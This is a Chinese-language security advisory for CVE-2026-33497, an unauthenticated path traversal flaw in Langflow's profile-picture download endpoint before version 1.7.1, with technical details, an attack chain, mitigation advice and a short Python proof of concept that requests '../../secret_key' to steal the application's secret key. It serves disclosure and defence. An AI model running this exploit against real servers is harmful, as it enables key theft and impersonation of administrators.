IPBUF安全漏洞报告
English
CVE-2026-33497 CVSS 7.5 高危

CVE-2026-33497 Langflow 路径遍历漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33497
漏洞类型
路径遍历
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Langflow

相关标签

路径遍历Langflow信息泄露CVSS-7.5CWE-22

漏洞概述

Langflow 是一个用于构建和部署 AI 代理和工作流的工具。在 1.7.1 版本之前,该软件存在一个严重的安全漏洞。具体而言,在 `/profile_pictures/{folder_name}/{file_name}` 端点的 `download_profile_picture` 函数中,系统未能对 `folder_name` 和 `file_name` 参数进行严格的过滤和验证。这一缺陷使得攻击者能够利用路径遍历攻击技术,绕过目录限制,读取服务器上的敏感文件。特别是,攻击者可以借此读取应用程序的 `secret_key`,从而导致关键机密信息泄露。官方已在 1.7.1 版本中发布了补丁以修复此问题。

技术细节

该漏洞属于典型的服务器端路径遍历。Langflow 在处理 `/profile_pictures/{folder_name}/{file_name}` 接口请求时,后端代码直接获取 URL 路径参数中的 `folder_name` 和 `file_name`,并将其拼接成文件系统路径进行读取操作。关键问题在于缺乏对输入参数中特殊字符(如 `../`)的过滤或转义机制。由于 CVSS 评分显示无需认证(PR:N)且攻击复杂度低(AC:L),远程攻击者无需任何权限即可利用此漏洞。攻击者可以通过构造包含 `../` 序列的恶意请求,跳出原本预定的图片存储目录,进而访问服务器上的任意文件。根据描述,该漏洞最直接的危害是能够读取应用程序的 `secret_key`。`secret_key` 通常用于加密会话 Cookie、签名 JWT 令牌或保护 API 通信。一旦该密钥被窃取,攻击者可以伪造管理员身份、解密用户数据,甚至进一步接管整个 AI 工作流系统。尽管该漏洞仅影响机密性(C:H),但其引发的连锁反应可能导致系统完全沦陷。官方在 1.7.1 版本中通过添加严格的路径校验逻辑修复了此问题。

攻击链分析

STEP 1
侦察
攻击者识别出目标运行的是 Langflow 版本 1.7.1 之前的版本。
STEP 2
漏洞利用
攻击者向 `/profile_pictures/{folder_name}/{file_name}` 端点发送特制的 GET 请求,在参数中插入 `../` 序列以遍历目录。
STEP 3
数据窃取
服务器响应返回目标文件内容,攻击者成功读取 `secret_key` 或其他敏感配置文件。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (replace with actual host) target_url = "http://localhost:3000/profile_pictures/{folder_name}/{file_name}" # Exploit payload: Use '../' to traverse directories # Assuming the application root is a few levels up from the upload folder # The goal is to read the sensitive 'secret_key' file. payload_folder = "../../" payload_file = "secret_key" # Construct the malicious URL exploit_url = target_url.format(folder_name=payload_folder, file_name=payload_file) try: # Send the malicious request without authentication response = requests.get(exploit_url) # Check if the request was successful if response.status_code == 200: print("[+] Exploit successful! Secret key content:") print(response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") print("[-] Response:") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

Langflow < 1.7.1

防御指南

临时缓解措施
如果无法立即升级,建议通过 Web 应用防火墙(WAF)拦截包含路径遍历字符(如 `../` 或 `%2e%2e/`)的请求,或者临时禁用 `/profile_pictures` 相关接口的访问,直到完成补丁更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表